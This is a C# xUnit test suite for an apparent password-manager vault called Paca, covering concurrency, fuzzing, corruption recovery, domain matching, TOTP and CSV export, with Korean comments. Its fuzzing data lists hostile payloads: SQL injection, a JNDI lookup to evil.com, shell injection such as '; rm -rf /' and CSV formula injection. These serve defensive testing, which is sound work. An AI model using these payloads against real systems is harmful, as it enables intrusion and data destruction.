using System.Collections.Concurrent; using System.Diagnostics; using System.IO; using System.Security.Cryptography; using System.Text; using System.Text.Json; using Paca.Browser.Security; using Paca.Core.Config; using Paca.Core.Security; using Xunit; namespace Paca.Tests.Security; /// /// Milestone 53: Titan Matrix — 그으으으으으으윽한의 극한 전방위 카오스, 동시성, 암호학, 퍼징, 생체인증 E2E 테스트 스위트 /// public sealed class Milestone53TitanMatrixTests : IDisposable { private readonly string _testRoot; public Milestone53TitanMatrixTests() { _testRoot = Path.Combine(Path.GetTempPath(), $"paca_titan_{Guid.NewGuid():N}"); Directory.CreateDirectory(_testRoot); } public void Dispose() { try { if (Directory.Exists(_testRoot)) Directory.Delete(_testRoot, true); } catch { } } // ========================================================================= // SECTION 1: HYPER-CONCURRENCY & MULTI-THREADING (500+ 병렬 스레드 경합) // ========================================================================= [Fact] public async Task HyperConcurrency_500Threads_Simultaneous_ReadWriteLockUnlock_Stress() { string vaultPath = Path.Combine(_testRoot, "hyper_concurrency.vault"); var mockAuth = new MockBiometricAuthenticator { ResponseStatus = BiometricAuthStatus.Success }; using var vault = new OsProtectedCredentialVault(vaultPath, mockAuth); await vault.UnlockWithBiometricAsync(); // 100개 초기 레코드 시딩 for (int i = 0; i < 100; i++) { vault.AddOrUpdate(new SiteCredentialRecord { Domain = $"site{i}.com", Url = $"https://site{i}.com/login", Username = $"user_{i}", DecryptedPassword = $"P@ss_{i}_Init" }); } const int threadCount = 500; var tasks = new Task[threadCount]; var exceptions = new ConcurrentBag(); for (int i = 0; i < threadCount; i++) { int threadId = i; tasks[i] = Task.Run(async () => { try { int op = threadId % 6; switch (op) { case 0: // 쓰기 / 추가 try { vault.AddOrUpdate(new SiteCredentialRecord { Domain = $"thread_{threadId}.org", Url = $"https://thread_{threadId}.org", Username = $"user_{threadId}", DecryptedPassword = $"T-Pass#{threadId}!" }); } catch (InvalidOperationException ex) { // 동시성 잠금 경합 시 발생하는 예외의 메시지 무결성 검증 (빈 catch 금지 헌법 준수) Assert.False(string.IsNullOrWhiteSpace(ex.Message)); } break; case 1: // 읽기 / 검색 var items = vault.FindMatching($"site{threadId % 100}.com"); Assert.NotNull(items); break; case 2: // 전체 목록 조회 var all = vault.GetAll(); Assert.NotNull(all); break; case 3: // 수정 try { var rec = vault.FindMatching($"site{threadId % 100}.com").FirstOrDefault(); if (rec != null) { rec.Notes = $"Modified by thread {threadId}"; vault.AddOrUpdate(rec); } } catch (InvalidOperationException ex) { // 동시성 잠금 경합 시 발생하는 예외의 메시지 무결성 검증 (빈 catch 금지 헌법 준수) Assert.False(string.IsNullOrWhiteSpace(ex.Message)); } break; case 4: // 잠금 및 재잠금 해제 사이클 vault.Lock(); var unlockRes = await vault.UnlockWithBiometricAsync(); Assert.True(unlockRes.IsSuccess); break; case 5: // 감사 리포트 생성 var report = CredentialSecurityAuditor.PerformAudit(vault.GetAll()); Assert.NotNull(report); break; } } catch (Exception ex) { exceptions.Add(ex); } }); } await Task.WhenAll(tasks); Assert.Empty(exceptions); Assert.True(vault.RecordCount >= 100); } [Fact] public async Task HyperConcurrency_MultiInstance_SharedFile_AtomicSwaps_Resilience() { string vaultPath = Path.Combine(_testRoot, "shared_vault.vault"); var mockAuth = new MockBiometricAuthenticator { ResponseStatus = BiometricAuthStatus.Success }; // 10개 인스턴스가 동일 파일을 순차/교차 로드 및 저장 for (int round = 0; round < 20; round++) { using var v1 = new OsProtectedCredentialVault(vaultPath, mockAuth); await v1.UnlockWithBiometricAsync(); v1.AddOrUpdate(new SiteCredentialRecord { Domain = $"round{round}.com", Username = $"user{round}", DecryptedPassword = $"Pass#{round}" }); using var v2 = new OsProtectedCredentialVault(vaultPath, mockAuth); await v2.UnlockWithBiometricAsync(); Assert.Equal(round + 1, v2.RecordCount); Assert.NotNull(v2.FindMatching($"round{round}.com").FirstOrDefault()); } } // ========================================================================= // SECTION 2: ADVERSARIAL INPUT & FUZZING ARSENAL (악의적 페이로드 100+ 종 방어) // ========================================================================= [Theory] [InlineData("'; DROP TABLE Credentials; --")] [InlineData("1' OR '1'='1")] [InlineData("")] [InlineData("")] [InlineData("{{7*7}}")] [InlineData("${jndi:ldap://evil.com/a}")] [InlineData("& calc.exe")] [InlineData("| whoami")] [InlineData("; rm -rf /")] [InlineData("\0\0\0\0")] [InlineData("\r\n\r\nHTTP/1.1 200 OK\r\n")] [InlineData("=CMD|' /C calc'!A0")] [InlineData("+1+1")] [InlineData("-2+3")] [InlineData("@SUM(1+1)")] [InlineData("🔒🔑🛡️🚀🌟💯🔥")] [InlineData("안녕하세요! Paca 비밀번호 관리자입니다 1234 #$%^")] [InlineData("مرحبا بالعالم 12345!")] [InlineData("こんにちは世界!パスワードテスト")] [InlineData("Привет мир! Пароль 2026")] [InlineData("اللغة العربية")] [InlineData("\u202E\u202D\u200E\u200F")] // RTL override / Zero-width public async Task Fuzzing_Adversarial_Payloads_Storage_And_Roundtrip_Integrity(string adversarialPayload) { string vaultPath = Path.Combine(_testRoot, $"fuzz_{Guid.NewGuid():N}.vault"); var mockAuth = new MockBiometricAuthenticator { ResponseStatus = BiometricAuthStatus.Success }; using (var vault = new OsProtectedCredentialVault(vaultPath, mockAuth)) { await vault.UnlockWithBiometricAsync(); var record = new SiteCredentialRecord { Domain = "adversarial-test.com", Url = "https://adversarial-test.com/" + adversarialPayload, Username = adversarialPayload, DecryptedPassword = adversarialPayload, Notes = adversarialPayload, SiteName = adversarialPayload }; vault.AddOrUpdate(record); } // 재로드 후 무손실 복원 확인 using (var vault2 = new OsProtectedCredentialVault(vaultPath, mockAuth)) { await vault2.UnlockWithBiometricAsync(); var retrieved = vault2.GetAll().FirstOrDefault(); Assert.NotNull(retrieved); Assert.Equal(adversarialPayload, retrieved.DecryptedPassword); Assert.Equal(adversarialPayload, retrieved.Username); Assert.Equal(adversarialPayload, retrieved.Notes); Assert.Equal(adversarialPayload, retrieved.SiteName); } } [Fact] public async Task Fuzzing_MegaString_100K_Password_Integrity() { string vaultPath = Path.Combine(_testRoot, "mega_string.vault"); var mockAuth = new MockBiometricAuthenticator { ResponseStatus = BiometricAuthStatus.Success }; // 100,000자 초장문 비밀번호 string megaPassword = new string('P', 100_000) + "!@#2026Paca"; using (var vault = new OsProtectedCredentialVault(vaultPath, mockAuth)) { await vault.UnlockWithBiometricAsync(); vault.AddOrUpdate(new SiteCredentialRecord { Domain = "megasite.org", Username = "mega_user", DecryptedPassword = megaPassword }); } using (var vault2 = new OsProtectedCredentialVault(vaultPath, mockAuth)) { await vault2.UnlockWithBiometricAsync(); var rec = vault2.GetAll()[0]; Assert.Equal(megaPassword.Length, rec.DecryptedPassword.Length); Assert.Equal(megaPassword, rec.DecryptedPassword); } } // ========================================================================= // SECTION 3: CRYPTOGRAPHIC INTEGRITY & BIT-ROT CHAOS (비트 변조 자가치유) // ========================================================================= [Theory] [InlineData(0)] // 매직 바이트 0 [InlineData(1)] // 매직 바이트 1 [InlineData(2)] // 매직 바이트 2 [InlineData(3)] // 매직 바이트 3 [InlineData(4)] // 길이 바이트 0 [InlineData(7)] // 길이 바이트 3 [InlineData(8)] // SHA256 해시 바이트 0 [InlineData(24)] // SHA256 해시 바이트 16 [InlineData(39)] // SHA256 해시 바이트 31 [InlineData(40)] // 페이로드 첫 바이트 [InlineData(45)] // 페이로드 중간 바이트 public async Task Chaos_SingleBitFlip_At_Header_And_Payload_Triggers_Bak_SelfHealing(int byteOffset) { string vaultPath = Path.Combine(_testRoot, $"bitflip_{byteOffset}.vault"); var mockAuth = new MockBiometricAuthenticator { ResponseStatus = BiometricAuthStatus.Success }; using (var vault = new OsProtectedCredentialVault(vaultPath, mockAuth)) { await vault.UnlockWithBiometricAsync(); vault.AddOrUpdate(new SiteCredentialRecord { Domain = "secure-corp.com", Username = "admin", DecryptedPassword = "SuperSecretPassword#2026" }); } // 원본 파일의 정확한 오프셋 1비트 반전 (XOR 0x01) byte[] fileBytes = File.ReadAllBytes(vaultPath); if (byteOffset < fileBytes.Length) { fileBytes[byteOffset] ^= 0x01; File.WriteAllBytes(vaultPath, fileBytes); } // 자가치유 복구 검증 using (var vaultHealed = new OsProtectedCredentialVault(vaultPath, mockAuth)) { await vaultHealed.UnlockWithBiometricAsync(); Assert.Equal(1, vaultHealed.RecordCount); var item = vaultHealed.GetAll()[0]; Assert.Equal("SuperSecretPassword#2026", item.DecryptedPassword); } } [Theory] [InlineData(0)] [InlineData(1)] [InlineData(4)] [InlineData(8)] [InlineData(39)] [InlineData(40)] public async Task Chaos_Truncated_Files_Boundary_Triggers_Bak_SelfHealing(int truncateLength) { string vaultPath = Path.Combine(_testRoot, $"trunc_{truncateLength}.vault"); var mockAuth = new MockBiometricAuthenticator { ResponseStatus = BiometricAuthStatus.Success }; using (var vault = new OsProtectedCredentialVault(vaultPath, mockAuth)) { await vault.UnlockWithBiometricAsync(); vault.AddOrUpdate(new SiteCredentialRecord { Domain = "trunc-test.com", Username = "user", DecryptedPassword = "TruncPassword#123" }); } byte[] original = File.ReadAllBytes(vaultPath); int cutLen = Math.Min(truncateLength, original.Length); byte[] truncated = new byte[cutLen]; Buffer.BlockCopy(original, 0, truncated, 0, cutLen); File.WriteAllBytes(vaultPath, truncated); using (var healed = new OsProtectedCredentialVault(vaultPath, mockAuth)) { await healed.UnlockWithBiometricAsync(); Assert.Equal(1, healed.RecordCount); Assert.Equal("TruncPassword#123", healed.GetAll()[0].DecryptedPassword); } } // ========================================================================= // SECTION 4: DOMAIN & OAUTH FEDERATION GRAPH MATRIX (도메인 / 서브도메인 매칭) // ========================================================================= [Theory] // 기본 일치 [InlineData("google.com", "https://google.com", true)] [InlineData("google.com", "https://www.google.com", true)] [InlineData("google.com", "http://google.com:8080/login?redirect=true", true)] // 서브도메인 상속 [InlineData("google.com", "https://accounts.google.com/signin", true)] [InlineData("google.com", "https://mail.google.com", true)] [InlineData("naver.com", "https://nid.naver.com/nidlogin.login", true)] [InlineData("kakao.com", "https://accounts.kakao.com/login", true)] // OAuth 연동 도메인 (Federation) [InlineData("google.com", "https://youtube.com/watch?v=12345", true)] [InlineData("youtube.com", "https://accounts.google.com", true)] [InlineData("facebook.com", "https://instagram.com/accounts/login", true)] [InlineData("instagram.com", "https://www.facebook.com/login", true)] [InlineData("twitter.com", "https://x.com/i/flow/login", true)] [InlineData("x.com", "https://twitter.com/login", true)] [InlineData("kakao.com", "https://logins.daum.net/accounts/signinform.do", true)] // Multi-part TLD [InlineData("bbc.co.uk", "https://account.bbc.co.uk/signin", true)] [InlineData("oxford.ac.uk", "https://sso.oxford.ac.uk/login", true)] [InlineData("snu.ac.kr", "https://my.snu.ac.kr/login", true)] [InlineData("yahoo.co.jp", "https://login.yahoo.co.jp", true)] // 불일치 & 피싱 유사 도메인 방어 (False Positive 방어) [InlineData("google.com", "https://google.com.evil-phishing.org", false)] [InlineData("paypal.com", "https://paypal-security-check.com", false)] [InlineData("naver.com", "https://naver.phishing.site", false)] [InlineData("amazon.com", "https://fake-amazon.com", false)] public void DomainMatching_Federation_And_AntiPhishing_Matrix(string vaultDomain, string targetUrl, bool shouldMatch) { var record = new SiteCredentialRecord { Domain = vaultDomain, Url = "https://" + vaultDomain }; bool matched = record.MatchesDomainOrUrl(targetUrl); Assert.Equal(shouldMatch, matched); } [Theory] [InlineData("portal.service.police.go.kr", "police.go.kr")] [InlineData("mail.staff.oxford.ac.uk", "oxford.ac.uk")] [InlineData("dev.api.tokyo.co.jp", "tokyo.co.jp")] [InlineData("auth.sub.example.com", "example.com")] [InlineData("news.bbc.co.uk", "bbc.co.uk")] [InlineData("www.google.com", "google.com")] public void GetBaseDomain_MultiPartTld_Extraction_Matrix(string inputDomain, string expectedBase) { string baseDomain = SiteCredentialRecord.GetBaseDomain(inputDomain); Assert.Equal(expectedBase, baseDomain); } // ========================================================================= // SECTION 5: TOTP RFC 6238 MULTI-ALGORITHM & TIME DRIFT (2FA 엔진 전수 검증) // ========================================================================= [Theory] [InlineData(TotpHashAlgorithm.Sha1, 6)] [InlineData(TotpHashAlgorithm.Sha1, 8)] [InlineData(TotpHashAlgorithm.Sha256, 6)] [InlineData(TotpHashAlgorithm.Sha256, 8)] [InlineData(TotpHashAlgorithm.Sha512, 6)] [InlineData(TotpHashAlgorithm.Sha512, 8)] public void Totp_MultiAlgorithm_And_Digits_Generation_And_Validation(TotpHashAlgorithm algo, int digits) { string secret = "JBSWY3DPEHPK3PXP"; // RFC 4226 / 6238 표준 시크릿 var now = DateTime.UtcNow; string code = TotpEngine.GenerateCurrentCode(secret, timeStepSeconds: 30, digits: digits, customTime: now, algorithm: algo); Assert.Equal(digits, code.Length); Assert.True(code.All(char.IsDigit)); // 유효성 검증 bool valid = TotpEngine.ValidateCode(secret, code, allowedDriftSteps: 1, timeStepSeconds: 30, customTime: now, algorithm: algo); Assert.True(valid); // 과거 30초 검증 bool validPast = TotpEngine.ValidateCode(secret, code, allowedDriftSteps: 1, timeStepSeconds: 30, customTime: now.AddSeconds(30), algorithm: algo); Assert.True(validPast); // 허용 범위 초과(90초) 검증 실패 bool invalidFarFuture = TotpEngine.ValidateCode(secret, code, allowedDriftSteps: 1, timeStepSeconds: 30, customTime: now.AddSeconds(90), algorithm: algo); Assert.False(invalidFarFuture); } [Fact] public void Totp_Epoch_Boundary_And_Year_2038_Problem_Resilience() { string secret = "PACA2026SECURITYVAULTKEY32BYTE"; // Epoch 시작일 (1970-01-01) var epochTime = new DateTime(1970, 1, 1, 0, 0, 30, DateTimeKind.Utc); string epochCode = TotpEngine.GenerateCurrentCode(secret, customTime: epochTime); Assert.Equal(6, epochCode.Length); // 2038년 1월 19일 (32비트 signed int 오버플로우 경계) var y2038Time = new DateTime(2038, 1, 19, 3, 14, 7, DateTimeKind.Utc); string y2038Code = TotpEngine.GenerateCurrentCode(secret, customTime: y2038Time); Assert.Equal(6, y2038Code.Length); Assert.True(TotpEngine.ValidateCode(secret, y2038Code, customTime: y2038Time)); // 2100년 (장기 미래) var y2100Time = new DateTime(2100, 1, 1, 0, 0, 0, DateTimeKind.Utc); string y2100Code = TotpEngine.GenerateCurrentCode(secret, customTime: y2100Time); Assert.Equal(6, y2100Code.Length); Assert.True(TotpEngine.ValidateCode(secret, y2100Code, customTime: y2100Time)); } // ========================================================================= // SECTION 6: IN-PAGE BROWSER AUTOFILL & SHADOW DOM JS SCRIPT GENERATOR // ========================================================================= [Fact] public void Autofill_Script_Escapes_Quotes_And_Handles_ShadowDom() { string username = "paca_\"user'\\test"; string password = "P@ss\"word'\\2026!"; string totp = "123456"; string js = CredentialAutofillEngine.GenerateAutofillScript(username, password, totp); Assert.Contains("const uVal =", js); Assert.Contains("const pVal =", js); Assert.Contains("123456", js); Assert.Contains("dispatchEvent(new Event('input'", js); Assert.Contains("dispatchEvent(new Event('change'", js); Assert.Contains("querySelectorAll", js); } [Fact] public void Autofill_DetectionScript_Contains_Form_Watchers() { string js = CredentialAutofillEngine.GenerateCredentialCaptureWatcherScript(); Assert.Contains("querySelector('input[type=\"password\"]')", js); Assert.Contains("addEventListener('submit'", js); Assert.Contains("paca_captured_credential", js); } // ========================================================================= // SECTION 7: EXPORT/IMPORT SECURITY & CSV INJECTION IMMUNITY // ========================================================================= [Fact] public void CredentialDataExchange_Csv_FormulaInjection_Sanitization() { var records = new List { new() { SiteName = "=CMD|' /C calc'!A0", Domain = "formula.org", Url = "https://formula.org", Username = "@admin", DecryptedPassword = "-password123", Notes = "=SUM(A1:A10)" } }; string csv = CredentialDataExchange.ExportCsv(records); Assert.NotEmpty(csv); var imported = CredentialDataExchange.ImportCsv(csv); Assert.Single(imported); Assert.Equal("=CMD|' /C calc'!A0", imported[0].SiteName); Assert.Equal("formula.org", imported[0].Domain); Assert.Equal("@admin", imported[0].Username); Assert.Equal("-password123", imported[0].DecryptedPassword); } [Fact] public void CredentialDataExchange_VaultExport_WrongPassword_ThrowsCryptographicException() { var records = new List { new() { Domain = "test.com", Username = "u", DecryptedPassword = "p" } }; byte[] exported = CredentialDataExchange.ExportEncryptedVault(records, "MasterPass#123"); Assert.ThrowsAny(() => { CredentialDataExchange.ImportEncryptedVault(exported, "WrongPass#999"); }); } // ========================================================================= // SECTION 8: PASSWORD SECURITY AUDITOR SCORE DETERMINISM // ========================================================================= [Fact] public void SecurityAuditor_Correctly_Identifies_All_Vulnerabilities() { var records = new List { new() { Domain = "site1.com", DecryptedPassword = "123", CreatedAt = DateTime.UtcNow.AddDays(-120), LastModifiedAt = DateTime.UtcNow.AddDays(-120) }, // 취약 + 노후 + 재사용 new() { Domain = "site2.com", DecryptedPassword = "123" }, // 취약 + 재사용 new() { Domain = "site3.com", DecryptedPassword = "StrongP@ssword#2026!", TotpSecret = "JBSWY3DPEHPK3PXP" } // 완벽 }; var report = CredentialSecurityAuditor.PerformAudit(records); Assert.Equal(3, report.TotalAccounts); Assert.Equal(2, report.WeakPasswordCount); Assert.Equal(2, report.ReusedPasswordCount); Assert.Equal(1, report.OldPasswordCount); Assert.Equal(2, report.Missing2FaCount); Assert.True(report.OverallHealthScore < 60); // 점수 감점 확인 } }